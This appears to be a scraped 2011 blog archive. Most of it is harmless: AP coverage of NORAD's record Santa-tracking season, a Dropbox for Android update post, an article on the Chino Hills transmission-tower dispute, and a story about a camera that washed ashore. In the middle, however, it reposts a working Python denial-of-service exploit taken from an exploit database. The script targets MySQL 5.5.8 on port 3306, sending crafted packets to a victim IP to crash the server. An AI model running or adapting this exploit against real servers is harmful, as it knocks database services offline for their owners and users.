Monday, December 26, 2011

NORAD Santa trackers have record holiday

FILE - In this Dec. 24, 2010 file photo, volunteers take phone calls and answer emails at the Santa Tracking Operations Center at Peterson Air Force Base near Colorado Springs, Colo. Santa is already piling up monster numbers on social networking sites this season, so the volunteer Santa-trackers at NORAD are bracing for tens of thousands of calls and emails when their operations center goes live on Christmas Eve. (AP Photo/Ed Andrieski, File)

FILE - In this Dec. 24, 2010 file photo, volunteers take phone calls and answer emails at the Santa Tracking Operations Center at Peterson Air Force Base near Colorado Springs, Colo. Santa is already piling up monster numbers on social networking sites this season, so the volunteer Santa-trackers at NORAD are bracing for tens of thousands of calls and emails when their operations center goes live on Christmas Eve. (AP Photo/Ed Andrieski, File)

FILE - In this Dec. 24, 2010 file photo, Air Force Lt. Col. David Hanson, of Chicago, takes a phone call from a child in Florida at the Santa Tracking Operations Center at Peterson Air Force Base near Colorado Springs, Colo. Santa is already piling up monster numbers on social networking sites this season, so the volunteer Santa-trackers at NORAD are bracing for tens of thousands of calls and emails when their operations center goes live on Christmas Eve. (AP Photo/Ed Andrieski)

(AP) ? Santa Claus set records Christmas Eve he raced across the globe on his on his traditional holiday mission.

Santa tracking volunteers at Peterson Air Force Base in Colorado said they fielded about 102,000 telephone queries beginning early Saturday on his progress, breaking the previous mark of 80,000.

And his NORAD Facebook page recorded about 999,000 "likes," compared with 716,000 a year ago. Twitter followers increased from about 53,000 last year more than 89,000.

Officials said records set this year were likely generated by people passing the word as well as social media interest.

"I think what happens is that every year the ones the participated" tells others, Canadian Navy Lt. Al Blondin. "There's word of mouth."

Volunteers at NORAD Tracks Santa said kids started calling at 4 a.m. Saturday to find out where Santa was.

"The phones are ringing like crazy," Lt. Cmdr. Bill Lewis said Saturday.

The North American Aerospace Defense Command has been telling anxious children about Santa's whereabouts every year since 1955. That was the year a Colorado Springs newspaper ad invited kids to call Santa on a hotline, but the number had a typo, and dozens of kids wound up talking to the Continental Aerospace Defense Command, NORAD's predecessor.

The officers on duty played along and began sharing reports on Santa's progress. It's now a deep-rooted tradition at NORAD, a joint U.S.-Canada command that monitors the North American skies and seas from a control center at Peterson.

First lady Michelle Obama was among the volunteers for a second year in a row. She took about 10 calls from her family's holiday vacation in Hawaii. Lewis said Obama's voice didn't throw any of the phoning children.

"They all just asked run-of-the-mill stuff. They wanted to know about Santa," Lewis said.

After visiting many nations, Santa's first stop in the U.S. came at 9:02 p.m. MST in Atlanta. Blondin said.

The NORAD website said Santa then set a generally westward course, making numerous stops including Cleveland, Denver and San Francisco. He later passed through Hawaii and Alaska before setting his home course for the North Pole.

In addition to NORAD's Santa website and Facebook and Twitter pages, Santa this year has a new tracking app for smart phones. The app includes the Elf Toss, a game similar to Angry Birds. Blondin said there had been more than 700,000 downloads.

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Online:

http://www.noradsanta.org

Associated Press

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Sunday, December 25, 2011

Dropbox for Android update for ICS and available now in the Android Market

Dropbox for Android has been updated to support Android 4 (ICS ) and it?s now available in the Android Market. The Beta has been available in their forums for a while for users to test but it?s now it?s official.

I have been trying to move away from Dropbox and other smaller companies cloud storage solutions for the fear of the company shutting down out of the blue one day. I am looking at moving Dropbox services over to Microsoft?s Skydrive but Dropbox makes things so much easier. That?s why I am still stuck on it. I have the free account with only 2gb of storage, but for what I use it for, it?s plenty.

If you are unfamiliar with what Dropbox is, it?s an online storage solution. Think of Dropbox as a just folder, a folder?similar?to a network?folder?on a company LAN except that this folder is stored in the cloud. If you install the app on your desktop or laptop and on your smartphone, you can access your Dropbox and all the files you place in it basically anywhere you go. I have been using it to move

Here are some screenshots from the new version of Dropbox.

If you are interested in learning more about Dropbox, you can watch the following YouTube video or scroll on by the video?and read the screenshots of the intro when you install and run Dropbox on your Android phone for the 1st time.

Like I said, you can grab the new version of Dropbox from the?Android Market?now.

What?s in this version:

  • Completely redesigned the app and added lots of new features!
  • Favorites: quick offline access to files
  • Bulk upload photos and videos
  • Rename files and folders
  • Single-tap access to all file and folder actions
  • Improved gallery view
  • Upload from and export to local storage
  • Optimized for Ice Cream Sandwich (Android 4.0)
  • Numerous bug fixes and stability improvements

Happy Dropboxing!

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[dos / poc] - MySQL 5.5.8 Remote Denial Of Service

MySQL 5.5.8 Remote Denial Of Service | Inj3ct0r - exploit database : vulnerability : 0day : shellcode
import socket, sys
  
 print "\n"
 print "----------------------------------------------------------------"
 print "| MySQL 5.5.8 Null Ptr (windows)                                |"
 print "| Level Smash the Stack                                         |"
 print "----------------------------------------------------------------"
 print "\n"
  
 buf=("&\x00\x00\x01\x85\xa2\x03\x00\x00\x00\x00@\x93\x00\x00\x00\x00\x00\x00\x00\x00"
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00")
  
 buf2=("\x11\x00\x00\x00\x03set autocommit30")
  
 def usage():
 print "usage : ./mysql.py <victim_ip>"
 print "example: ./mysql.py 192.168.1.22"
  
  
 def main():
 if len(sys.argv) != 2:
 usage()
 sys.exit()
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
 HOST = sys.argv[1]
 PORT = int(3306)
 s.connect((HOST,PORT))
 print "[*] Connect"
 s.send(buf)
 print "[*] Payload 1 sent"
 s.send(buf2)
 print "[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n"
 s.close()
  
 if __name__ == "__main__":
 main()
 
  # 1337day.com [2011-12-24]

Source: http://www.1337day.com/exploits/17300

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Monday, November 28, 2011

Giant new utility poles spark controversy in Chino Hills

A towering steel utility pole, as tall as a giant sequoia, spirals upward just behind Cris Garcia's backyard in Chino Hills, close enough to cast a shadow on his kids' swing set and, he fears, to hear the hum of the 500-kilovolt power lines that may soon go up.

The towers popped up along the gentle rolling hills of this upscale San Bernardino County community earlier this year, sending the simmering local opposition into a full boil and drawing more heat from politically attuned congressmen. The flaring controversy has forced state energy regulators to backtrack on the utility project.

The Southern California Edison transmission line, which is under construction, will deliver renewable energy to the region from wind farms in the Tehachapi Mountains and has become another example of the green energy boom's sometimes messy side effects.

"I don't want this thing anywhere near my house. My kids play all around here," said Garcia, a registered nurse who moved to Chino Hills with his family in 1997 from Eagle Rock. "We live in an earthquake zone. If a disaster strikes, that thing could fall right through my house."

Chino Hills officials and local activists argue that the transmission line is decimating property values ? already pummeled by the housing crash ? and creating potential health hazards. Edison's decision to erect 198-foot-high utility towers in a narrow right-of-way ? which is just 150 feet across and initially had 75-foot-high utility poles ? also endangers neighboring homes within the theoretical fall zone, they said.

Edison officials said the towers are structurally sound, pose no danger and have never been proved to create a health hazard; and, they say, the route through the city was the most affordable and environmentally friendly option.

The city has spent $2.5 million fighting the project in court since it was approved by the California Public Utilities Commission in 2009, losing in Superior Court and in the state Court of Appeal.

Then the towers started sprouting like giant beanstalks.

"Overnight, five poles showed up. They were 200-feet high. That's when people really started" getting angry, Mayor Edward Graham said.

Legislators started coming to opposition rallies, promising to push bills to block such massive transmission lines in small neighborhood easements. Reps. Gary Miller (R-Diamond Bar) and Ed Royce (R-Fullerton), who may face each other in a newly drawn district that includes Chino Hills, have called for federal intervention.

"Our position was that, until the wires are there and turned on, we still have chance," said Bob Goodwin, head of the opposition group Hope for the Hills. "Green energy shouldn't hurt. This is hurting our community.''

On Nov. 10, the Public Utilities Commission ordered Edison to stop construction on the Chino Hills segment of the transmission line and to prepare alternative routes for review by the state regulators in January. Those alternatives include routing the lines through Chino Hills State Park or burying them.

Michael R. Peevey, president of the commission, voted in favor of the project in 2009 and, after touring the area recently, supported the decision to reconsider.

Peevey said the city's push to reroute the power lines through Chino Hills State Park, which borders the community to the west, is adamantly opposed by environmental groups who fear that California wilderness may soon be crisscrossed by power lines. Edison also has state mandates, as well as local contracts, to start delivering renewable energy, he said.

"Everybody has an interest, and everyone's got an ax to grind," Peevey said. "It's a very tough job to balance all of this."

Les Starck, Edison's senior vice president of regulatory affairs, said rerouting or burying the lines will add substantially to the price tag ? costs that would be passed onto customers. The need for the transmission line has become critical because of a new state law, signed by Gov. Jerry Brown in April, that requires California utilities to get 33% of their electricity from renewable sources by 2020, he said.

"We understand that the residents there in Chino Hills don't like the transmission lines near their backyard," Starck said. "We're building this transition line to meet the state's 33% renewable requirement."

The five-mile transmission line through Chino Hills is just a small leg of Edison's $2-billion Tehachapi Renewable Transmission Project, which, when completed, will deliver 4,500 megawatts of renewable energy to Southern California ? enough to supply 3 million homes.

phil.willon@latimes.com

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Sunday, November 27, 2011

Canon EOS 1000D washes ashore in BC, Canada, SD card reveals it was lost at sea for over a year

What you're looking at was once a fully functional Canon EOS 1000D, now merely a relic of the sea (the Pacific Ocean, to be exact), which was recently posted on Google+. User Marcus Thompson, found the DSLR washed up near a wharf while on a diving job in Deep Bay British Columbia, Canada and decided to take it home to find out what could be salvaged. After removing and cleaning the SanDisk Extreme III SD card inside of it, he was successfully able to recover about 50 photos with EXIF data from August 2010, showcasing what's described to be a firefighter and his family on vacation. While he hasn't located the owner of the shooter turned coffee table decoration just yet, Marcus is currently asking the "Google+ hive mind" to help get the two reunited. If you're from BC area and want to help out -- or just curious to see this DSLR from more angles -- you'll find some pictures from the SD card and more information about the camera at the source link below.

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